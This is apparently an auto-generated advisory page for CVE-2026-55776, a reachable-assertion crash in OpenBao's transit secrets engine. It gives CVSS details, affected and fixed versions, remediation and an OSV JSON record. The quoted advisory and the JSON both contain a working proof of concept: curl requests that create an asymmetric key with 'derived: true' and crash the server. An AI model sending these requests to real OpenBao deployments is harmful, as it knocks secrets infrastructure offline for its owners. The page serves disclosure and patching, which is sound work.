CVE-2026-55776: OpenBao Transit Secrets Engine Crashes On Vulnerability

MODERATE
Advisory Identifier: GHSA-8w8f-r2xv-4q4j
CVSS 6.5
CWE-617
Published
Advisory Summary

CVE-2026-55776 is a MODERATE (CVSS 6.5) transit secrets engine crashes on vulnerability (CWE-617: Reachable Assertion) affecting OpenBao libraries in the Go ecosystem. The issue involves transit secrets engine crashes on key creation with `derived: true` for asymmetric key types. Remediation is available by upgrading affected packages to version 0.0.0-20260617104123-db57c62602b2.

CVE-2026-55776 at a Glance

CVE Identifier CVE-2026-55776
GHSA Identifier GHSA-8w8f-r2xv-4q4j
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-617: Reachable Assertion
Affected Product OpenBao
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-55776

To remediate this vulnerability, upgrade all affected OpenBao dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/openbao/openbao fixed: Latest secure release
Upgrade github.com/openbao/openbao to Latest secure release
github.com/openbao/openbao fixed: 0.0.0-20260617104123-db57c62602b2
Upgrade github.com/openbao/openbao to 0.0.0-20260617104123-db57c62602b2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/openbao/openbao

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-55776, inspect your project dependencies for OpenBao:

inspect dependencies for github.com/openbao/openbao

Analyze the terminal output to locate any version of OpenBao in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.0.0-20260617104123-db57c62602b2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-617: Reachable Assertion, where the product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary. In OpenBao, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`) with `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server. Mount the transit engine: `curl -sS -X POST -H "X-Vault-Token: root" \ -d '{"type":"transit"}' \ http://127.0.0.1:8200/v1/sys/mounts/transit` Trigger the crash: `curl -sS -w '\nHTTP %{http_code}\n' -X POST \ -H "X-Vault-Token: root" \ -H "Content-Type: application/json" \ -d '{"type":"rsa-2048","derived":true,"exportable":true,"deletion_allowed":false}' \ http://127.0.0.1:8200/v1/transit/keys/some-key-name` You can try with both JSON or HCL It will crash the entire cluster. Observed: HTTP 000 curl: (52) Empty reply from server $ docker ps -a --filter name=openbao STATUS: Exited (2) Root Cause (Hypothesis) Key-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path. Suggested fix: Validate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305, xchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.

CVE-2026-55776 Affected OpenBao Versions

2 component(s)
Fixed Versions:
0.0.0-20260617104123-db57c62602b2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/openbao/openbao
Go
≥ 0.1.0
≤ 2.5.4
github.com/openbao/openbao
Go
< 0.0.0-20260617104123-db57c62602b2
0.0.0-20260617104123-db57c62602b2

References

Frequently Asked Questions

What is CVE-2026-55776?
CVE-2026-55776 is a security vulnerability in OpenBao involving Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types under CWE-617: Reachable Assertion.
Which OpenBao versions are affected?
Affected versions include releases prior to 0.0.0-20260617104123-db57c62602b2 across affected packages: github.com/openbao/openbao.
What version fixes CVE-2026-55776?
Upgrading to 0.0.0-20260617104123-db57c62602b2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/openbao/openbao affected?
Yes, github.com/openbao/openbao is affected in releases prior to Latest secure release, 0.0.0-20260617104123-db57c62602b2. Upgrade your dependency to Latest secure release, 0.0.0-20260617104123-db57c62602b2 or later.
What is the CVSS score of CVE-2026-55776?
CVE-2026-55776 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-55776?
CVE-2026-55776 is classified under CWE-617: Reachable Assertion (The product contains an assert() or similar statement that can be triggered by an attacker, which leads to an application exit or other behavior that is more severe than necessary.).
How can I check Go dependencies for CVE-2026-55776?
Run the dependency tree command: 'inspect dependencies for github.com/openbao/openbao'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8w8f-r2xv-4q4j",
  "modified" : "2026-06-19T21:42:09Z",
  "published" : "2026-06-19T21:42:09Z",
  "aliases" : [ "CVE-2026-55776" ],
  "summary" : "OpenBao: Transit secrets engine crashes on key creation with `derived: true` for asymmetric key types",
  "details" : "On OpenBao 2.5.4 and 2.5.2(and likely earlier versions also), an authenticated caller with write access to `transit/keys/*` can crash the OpenBao server by issuing a single key-creation request that combines an asymmetric `type` (`rsa-*`, `ecdsa-*`, `ed25519`)\nwith `derived: true`. The server returns no HTTP response and the process terminates (exit code 2). This is a remote, low-complexity denial-of-service against the OpenBao server.\n\n\nMount the transit engine:\n\n     `curl -sS -X POST -H \"X-Vault-Token: root\" \\\n       -d '{\"type\":\"transit\"}' \\\n       http://127.0.0.1:8200/v1/sys/mounts/transit`\n\nTrigger the crash:\n\n     `curl -sS -w '\\nHTTP %{http_code}\\n' -X POST \\\n       -H \"X-Vault-Token: root\" \\\n       -H \"Content-Type: application/json\" \\\n       -d '{\"type\":\"rsa-2048\",\"derived\":true,\"exportable\":true,\"deletion_allowed\":false}' \\\n       http://127.0.0.1:8200/v1/transit/keys/some-key-name`\n\nYou can try with both JSON or HCL It will crash the entire cluster.\n\n  Observed:\n     HTTP 000\n     curl: (52) Empty reply from server\n\n     $ docker ps -a --filter name=openbao\n     STATUS: Exited (2)\n\nRoot Cause (Hypothesis)\nKey-derivation paths in the transit engine appear to assume a symmetric key shape (a derivable key context). When `derived: true` is supplied alongside an asymmetric `type`, the creation path likely panics on a missing derived-key field or\n  invalid type assertion rather than returning a structured validation error. Maintainers should confirm against the transit `policy.go` / key-creation path.\n\nSuggested fix:\nValidate the (`type`, `derived`) combination at the top of the create-key handler. Reject with a 400 if `derived: true` is set on any non-symmetric type (i.e. anything other than aes128-gcm96, aes256-gcm96, chacha20-poly1305,\nxchacha20-poly1305). Do this before any code path that may panic on missing derived-key state.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/openbao/openbao"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0.1.0"
      }, {
        "last_affected" : "2.5.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/openbao/openbao"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.0.0-20260617104123-db57c62602b2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/openbao/openbao/security/advisories/GHSA-8w8f-r2xv-4q4j"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openbao/openbao/pull/3309"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openbao/openbao/commit/db57c62602b25da12951f3f0edb888e7c4da61e5"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/openbao/openbao"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/openbao/openbao/releases/tag/v2.5.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-617" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-19T21:42:09Z",
    "nvd_published_at" : null
  }
}